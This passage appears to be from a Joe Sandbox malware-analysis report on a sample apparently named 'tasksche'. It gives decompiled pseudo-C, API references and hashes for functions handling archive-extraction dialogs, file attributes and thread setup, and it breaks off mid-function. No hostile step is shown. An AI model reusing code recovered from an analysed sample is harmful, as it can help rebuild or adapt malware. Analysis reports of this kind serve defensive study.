0x00418cb5
0x00418c79
0x00418cff
0x00418d08
0x00418d0d
0x00418d11
0x00418d13
0x00418d66
0x00418d15
0x00418d18
0x00418d18
0x00418d72
0x00418d76
0x00418d87
0x00418d8d
0x00418d9b
0x00418d9b
0x00418da0
0x00418da6
0x00418da9
0x00418dba
0x00418dc6
0x00418dcf
0x00418dab
0x00418dab
0x00418dab
0x00418dd4
0x00418dd9
0x00418de0
0x00418de7
0x00418df0
0x00418e08
0x00418e08
0x00000000
0x00418ba0
0x00418ba7
0x00418bb8
0x00418bc1
0x00418be0
0x00418bec
0x00418bec
0x00000000
0x00418be0
0x00418bad
0x00000000
0x00000000
0x00418baf
0x00418bb6
0x00000000
0x00000000
0x00000000
0x00418bb6
0x00418b98
0x00418b82
0x00418b89
0x00418b8d
0x00000000
0x00000000
0x00000000
0x00418b8d
0x00418b67
0x00418b6d
0x00000000

APIs

_wcscpy.LIBCMT ref: 00418C26
_wcscpy.LIBCMT ref: 00418C86
_wcscpy.LIBCMT ref: 00418D2D

Strings

T, xrefs: 00418CEF

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy
String ID: T
API String ID: 3048848545-3187964512
Opcode ID: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction ID: 08ee224434b4342d1c159c2c22343cdeaadf414e9d08c0d11a019e9d32988bbe
Opcode Fuzzy Hash: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction Fuzzy Hash: 99910871600744AFDF24DF64C884BEAB7F8AF15304F0445AFE95997282CB78AAC4CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406D02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127
timeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00406D02(void* __edx) {
				void* __ebx;
				void* __edi;
				void* _t46;
				signed int _t56;
				signed int _t59;
				void* _t63;
				signed int _t64;
				signed int _t70;
				void* _t96;
				intOrPtr* _t101;
				void* _t103;

				_t96 = __edx;
				E0041A4DC(E00429658, _t103);
				E0041AAF0(0x5094);
				_t101 =  *((intOrPtr*)(_t103 + 0xc));
				if( *_t101 == 0 ||  *((intOrPtr*)(_t101 + 2)) != 0) {
					_push(0x802);
					_t46 = _t103 - 0x307c;
				} else {
					E0041A7F7(_t103 - 0x307c, L".\\");
					_push(0x800);
					_t46 = _t103 - 0x3078;
				}
				_push(_t101);
				_push(_t46);
				E00410B9C();
				E004066DA(0, 0x802,  *((intOrPtr*)(_t103 + 8)), _t103 - 0x407c, 0x800);
				if( *((short*)(_t103 - 0x407c)) == 0x3a) {
					__eflags =  *(_t103 + 0x10);
					if(__eflags == 0) {
						E00410BC9(__eflags, _t103 - 0x307c, _t103 - 0x407c, 0x802);
						E004067E1(_t103 - 0x2078);
						_push(0);
						 *(_t103 + 0x13) = E004096BC(_t96, _t101, _t103 - 0x2078);
						_t56 =  *(_t103 - 0x1070);
						__eflags = _t56 & 0x00000001;
						if((_t56 & 0x00000001) != 0) {
							_t72 = _t56 & 0xfffffffe;
							__eflags = _t56 & 0xfffffffe;
							E0040908D(_t101, _t72);
						}
						E00408786(_t103 - 0x1030);
						 *(_t103 - 4) = 0;
						_t59 = E00408A0A(_t103 - 0x1030, __eflags, _t103 - 0x307c, 0x11);
						__eflags = _t59;
						if(_t59 != 0) {
							_push(_t103 - 0x1030);
							_push(0);
							_t70 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
							__eflags = _t70;
							if(_t70 != 0) {
								E00408A32(_t103 - 0x1030);
							}
						}
						E00408786(_t103 - 0x50a0);
						 *(_t103 - 4) = 1;
						__eflags =  *(_t103 + 0x13);
						if( *(_t103 + 0x13) != 0) {
							_push(5);
							_push(_t101);
							_t64 = E004087C3(_t103 - 0x50a0);
							__eflags = _t64;
							if(_t64 != 0) {
								SetFileTime( *(_t103 - 0x509c), _t103 - 0x1050, _t103 - 0x1048, _t103 - 0x1040);
							}
						}
						E0040908D(_t101,  *(_t103 - 0x1070));
						 *(_t103 - 4) = 0;
						E00408C7D(0, _t103 - 0x50a0);
						_t38 = _t103 - 4;
						 *_t38 =  *(_t103 - 4) | 0xffffffff;
						__eflags =  *_t38;
						_t63 = E00408C7D(0, _t103 - 0x1030);
					} else {
						_push(0);
						_push(0);
						_t63 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
					}
				} else {
					E0040639F(0x50,  *((intOrPtr*)(_t103 + 8)) + 0x1e, _t101);
					_t63 = E004062BA(0x4335ac, 3);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t63;
			}

0x00406d02
0x00406d07
0x00406d11
0x00406d18
0x00406d26
0x00406d4e
0x00406d4f
0x00406d2e
0x00406d3a
0x00406d41
0x00406d46
0x00406d46
0x00406d55
0x00406d56
0x00406d57
0x00406d6b
0x00406d78
0x00406d9a
0x00406d9d
0x00406dbd
0x00406dc8
0x00406dcd
0x00406ddb
0x00406dde
0x00406de4
0x00406de6
0x00406de8
0x00406de8
0x00406ded
0x00406ded
0x00406df8
0x00406e0c
0x00406e0f
0x00406e14
0x00406e16
0x00406e21
0x00406e22
0x00406e23
0x00406e28
0x00406e2a
0x00406e32
0x00406e32
0x00406e2a
0x00406e3d
0x00406e42
0x00406e46
0x00406e49
0x00406e4b
0x00406e4d
0x00406e54
0x00406e59
0x00406e5b
0x00406e78
0x00406e78
0x00406e5b
0x00406e85
0x00406e90
0x00406e93
0x00406e98
0x00406e98
0x00406e98
0x00406ea2
0x00406d9f
0x00406da2
0x00406da3
0x00406da4
0x00406da4
0x00406d7a
0x00406d84
0x00406d90
0x00406d90
0x00406ead
0x00406eb5

APIs

__EH_prolog.LIBCMT ref: 00406D07
_wcscpy.LIBCMT ref: 00406D3A

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

SetFileTime.KERNEL32(?,?,?,?,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000), ref: 00406E78

Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(00000000,00000000,7705F790,00000001,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090A8
Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000800,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090D5

Strings

:, xrefs: 00406D70

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File$Attributes$H_prologTime_wcscpy_wcslen_wcsncat
String ID: :
API String ID: 326910402-336475711
Opcode ID: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction ID: 6639f4f99703ce1112f5787d69d8c123706ab186ca62756c3ad703d048bc38cc
Opcode Fuzzy Hash: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction Fuzzy Hash: D0417F71905258AAEB20EB64CC55EEE737CAF04344F0040ABB556B71C2DB78AF94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040D53E(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t17;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t29;
				struct HWND__* _t31;
				WCHAR** _t32;

				_t32 = _a16;
				_t31 = _a4;
				if(E004060EE(__edx, _t31, _a8, _a12, _t32, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t12 = _a8 - 0x110;
				if(_t12 == 0) {
					_push( *_t32);
					 *0x44cf2c = _t32;
					L13:
					SetDlgItemTextW(_t31, 0x65, ??);
					goto L14;
				}
				if(_t12 != 1) {
					L6:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t31, 0x65,  *( *0x44cf2c), ( *0x44cf2c)[1]);
					_push(1);
					L10:
					EndDialog(_t31, ??);
					goto L14;
				}
				_t21 = _t17 - 1;
				if(_t21 == 0) {
					_push(0);
					goto L10;
				}
				if(_t21 == 0x64) {
					_t24 = E0040A5DB(__eflags,  *( *0x44cf2c));
					_t27 = E00405164(_t29, _t31, E0040C3BF(0x8e),  *( *0x44cf2c), _t24, 0);
					__eflags = _t27;
					if(_t27 == 0) {
						goto L14;
					}
					_push( *( *0x44cf2c));
					goto L13;
				}
				goto L6;
			}

0x0040d542
0x0040d546
0x0040d561
0x0040d5ee
0x0040d5f0
0x00000000
0x0040d5f0
0x0040d56a
0x0040d56f
0x0040d5dd
0x0040d5df
0x0040d5e5
0x0040d5e8
0x00000000
0x0040d5e8
0x0040d572
0x0040d583
0x00000000
0x0040d583
0x0040d578
0x0040d579
0x0040d5d3
0x0040d5d9
0x0040d5bd
0x0040d5be
0x00000000
0x0040d5be
0x0040d57b
0x0040d57c
0x0040d5bb
0x00000000
0x0040d5bb
0x0040d581
0x0040d590
0x0040d5a9
0x0040d5ae
0x0040d5b0
0x00000000
0x00000000
0x0040d5b7
0x00000000
0x0040d5b7
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D5BE
GetDlgItemTextW.USER32(?,00000065,?,?), ref: 0040D5D3
SetDlgItemTextW.USER32 ref: 0040D5E8

Strings

ASKNEXTVOL, xrefs: 0040D54D

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: ASKNEXTVOL
API String ID: 1770891597-3402441367
Opcode ID: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction ID: 7c41b1936654f57e10877f1e9afce92132798bffb5e44c1de30f76ec9c95968c
Opcode Fuzzy Hash: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction Fuzzy Hash: 23118135600104BBDB219FA49C45F663775EB0A718F044036FE01FA1E0D77AD825AB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041254D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041254D(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t25;
				signed int _t30;
				signed int _t31;
				intOrPtr _t35;
				signed int _t40;
				void* _t41;
				signed int _t42;
				signed int _t46;
				signed int _t47;
				unsigned int _t48;
				void* _t51;

				_v16 = __ecx;
				_t25 = E0041252C(__ecx);
				_t47 = 0;
				_v8 = 0;
				if(_a4 <= 0) {
					return _t25;
				}
				_push(_t35);
				_push(_t48);
				do {
					if(_v8 >= 0x20) {
						if(_t47 < _a4) {
							L8:
							E0041216A( &_v28);
							E0041C77F( &_v28, 0x42d504);
							goto L9;
						}
						L12:
						return _t25;
					}
					_t48 = _a4 - _t47;
					_t41 = 0x20;
					_t42 = _t41 - _v8;
					_t30 = _t48;
					_t31 = _t30 / _t42;
					_t46 = _t30 % _t42;
					_v12 = _t31;
					if(_t31 <= 0x400000) {
						_v12 = 0x400000;
					}
					while(_t48 >= _v12) {
						_t35 = E0041CF3E(_t35, _t46, _t47, _t48);
						if(_t35 != 0) {
							goto L9;
						}
						_t48 = _t48 - (_t48 >> 5);
					}
					goto L8;
					L9:
					E0041A820(_t47, _t35, 0, _t48);
					_t25 = _v16;
					_t40 = _v8 << 2;
					_t47 = _t47 + _t48;
					_t51 = _t51 + 0xc;
					_v8 = _v8 + 1;
					 *((intOrPtr*)(_t40 + _t25)) = _t35;
					 *((intOrPtr*)(_t40 + _t25 + 0x80)) = _t47;
				} while (_t47 < _a4);
				goto L12;
			}

0x00412554
0x00412557
0x0041255c
0x0041255e
0x00412564
0x004125f7
0x004125f7
0x0041256a
0x0041256b
0x0041256c
0x00412570
0x004125f1
0x004125ad
0x004125b0
0x004125be
0x00000000
0x004125be
0x004125f3
0x00000000
0x004125f4
0x00412577
0x00412579
0x0041257a
0x0041257f
0x00412581
0x00412581
0x00412588
0x0041258d
0x0041258f
0x0041258f
0x004125a8
0x0041259a
0x0041259f
0x00000000
0x00000000
0x004125a6
0x004125a6
0x00000000
0x004125c3
0x004125c7
0x004125cf
0x004125d2
0x004125d5
0x004125d7
0x004125da
0x004125dd
0x004125e0
0x004125e7
0x00000000

APIs

__CxxThrowException@8.LIBCMT ref: 004125BE
_memset.LIBCMT ref: 004125C7

Strings

, xrefs: 0041256C

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Exception@8Throw_memset
String ID:
API String ID: 3963884845-3916222277
Opcode ID: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction ID: ba4e6bc0ef6041dd665025fb65f45a384477b48ee7e133f8ed84bbd0a598a512
Opcode Fuzzy Hash: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction Fuzzy Hash: 60110671E01218BACB14EFA9CAD55DEB776FF54344F10406BE405E7241D6B85BD2CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040D477 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D477(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* _t15;
				void* _t20;
				struct HWND__* _t33;

				_t33 = _a4;
				if(E004060EE(__edx, _t33, _a8, _a12, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t15 = _a8 - 0x110;
				if(_t15 == 0) {
					SetDlgItemTextW(_t33, 0x66, _a16);
					goto L10;
				}
				if(_t15 != 1) {
					L5:
					return 0;
				}
				_t20 = (_a12 & 0x0000ffff) - 1;
				if(_t20 == 0) {
					GetDlgItemTextW(_t33, 0x65,  &_v260, 0x80);
					E0040D033(__ebx, 0x44ce20,  &_v260);
					E0040CFA3( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t33, ??);
					goto L10;
				}
				if(_t20 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d482
0x0040d49f
0x0040d50a
0x00000000
0x0040d50c
0x0040d4a4
0x0040d4a9
0x0040d504
0x00000000
0x0040d504
0x0040d4ac
0x0040d4b8
0x00000000
0x0040d4b8
0x0040d4b2
0x0040d4b3
0x0040d4d6
0x0040d4e8
0x0040d4f5
0x0040d4fa
0x0040d4bd
0x0040d4be
0x00000000
0x0040d4be
0x0040d4b6
0x0040d4bc
0x00000000
0x0040d4bc
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D4BE
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 0040D4D6
SetDlgItemTextW.USER32 ref: 0040D504

Strings

GETPASSWORD1, xrefs: 0040D489

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: GETPASSWORD1
API String ID: 1770891597-3292211884
Opcode ID: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction ID: 3eed9e1ab7e5d8a1da33783b11a95132ac7616313df89bdc2d2bc64375715bf5
Opcode Fuzzy Hash: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction Fuzzy Hash: 4F11CE329001187ADB219FA1AC44EFB3A6DEF59754F404036FD05B20D0C67CD96A96AA

Uniqueness

Uniqueness Score: -1.00%

Function 00410F29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00410F29(long* __ecx, long _a4) {
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t23 = 0x20;
				_t25 = __ecx;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x21] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0x68]); // 0x1a0
				_t25[0x65] = 0;
				InitializeCriticalSection(_t3);
				_t25[0x66] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0x67] = _t14;
				if(_t25[0x66] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x4335ac);
					E00406423(_t19);
					E00406371(0x4335ac, 2);
				}
				_t25[0x63] = 0;
				_t25[0x64] = 0;
				_t25[0x22] = 0;
				return _t25;
			}

0x00410f29
0x00410f29
0x00410f32
0x00410f33
0x00410f35
0x00410f39
0x00410f3b
0x00410f3b
0x00410f41
0x00410f43
0x00410f43
0x00410f49
0x00410f51
0x00410f53
0x00410f53
0x00410f55
0x00410f5c
0x00410f62
0x00410f78
0x00410f7e
0x00410f84
0x00410f90
0x00410f96
0x00410fa0
0x00410fa1
0x00410fac
0x00410fac
0x00410fb2
0x00410fb8
0x00410fbe
0x00410fc8

APIs

InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Strings

Thread pool initialization failed., xrefs: 00410F96

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction ID: 3f206ddc5264aa259e24750db78c3e6b08f6c9018291aa2998b68a3e9789e537
Opcode Fuzzy Hash: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction Fuzzy Hash: FF115EB1600301AFD3305F659886BE7BBE8FB55315F60482FF6DAC6240D6B458C1CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6CF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E6CF(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				long _v0;
				WCHAR* _t16;
				int _t19;
				_Unknown_base(*)()* _t25;

				 *0x441828 = _a12;
				 *0x44182c = _a16;
				 *0x441824 = _a20;
				if( *0x441830 == 0) {
					if( *0x441831 == 0) {
						_t25 = E0040DE5E;
						_t16 = L"REPLACEFILEDLG";
						while(1) {
							_t19 = DialogBoxParamW( *0x4335a4, _t16,  *0x441844, _t25, _a4);
							if(_t19 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x4335a8, L"RENAMEDLG",  *0x441840, E0040D3EE, _v0) != 0) {
								break;
							}
						}
						return _t19;
					}
					return 1;
				}
				return 0;
			}

0x0040e6da
0x0040e6e3
0x0040e6ec
0x0040e6f1
0x0040e6fe
0x0040e70f
0x0040e714
0x0040e73b
0x0040e74f
0x0040e754
0x00000000
0x00000000
0x0040e739
0x00000000
0x00000000
0x0040e739
0x00000000
0x0040e75b
0x00000000
0x0040e702
0x00000000

Strings

RENAMEDLG, xrefs: 0040E72A
REPLACEFILEDLG, xrefs: 0040E714, 0040E746

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction ID: 0892b1485419df81b4422e2148389c4265d0283c5dc75372e36aae0ff2247616
Opcode Fuzzy Hash: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction Fuzzy Hash: AF017576604204BFC712AB55EC44A167BD5E74A751F040837F901E32B0D3764865DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E132 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0041E132(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0041E0A0(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0041A12E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0041DB1D(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E0041DD85(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0041A0F5(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e137
0x0041e13b
0x0041e13d
0x0041e140
0x0041e141
0x0041e142
0x0041e145
0x0041e14a
0x0041e14a
0x0041e14d
0x0041e151
0x0041e154
0x0041e159
0x0041e156
0x0041e156
0x0041e156
0x0041e15c
0x0041e161
0x0041e163
0x0041e166
0x0041e169
0x0041e16a
0x0041e172
0x0041e177
0x0041e17b
0x0041e17e
0x0041e181
0x0041e187
0x0041e188
0x0041e18b
0x0041e195
0x0041e199
0x00000000
0x0041e199
0x0041e19f

APIs

___BuildCatchObject.LIBCMT ref: 0041E145

Part of subcall function 0041E0A0: ___BuildCatchObjectHelper.LIBCMT ref: 0041E0D6

_UnwindNestedFrames.LIBCMT ref: 0041E15C
___FrameUnwindToState.LIBCMT ref: 0041E16A

Strings

csm, xrefs: 0041E141, 0041E156, 0041E169, 0041E187, 0041E197

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction ID: 59b9ad28f981bea14fd5052789bebdc6dccf333051ec123e92fb5a6599f75b08
Opcode Fuzzy Hash: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction Fuzzy Hash: 14012479401109BBDF126E52CC45EEB3F6AEF09398F044016FD1815261DB3AA8B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040C0F6(intOrPtr* __ecx) {
				char _v2052;
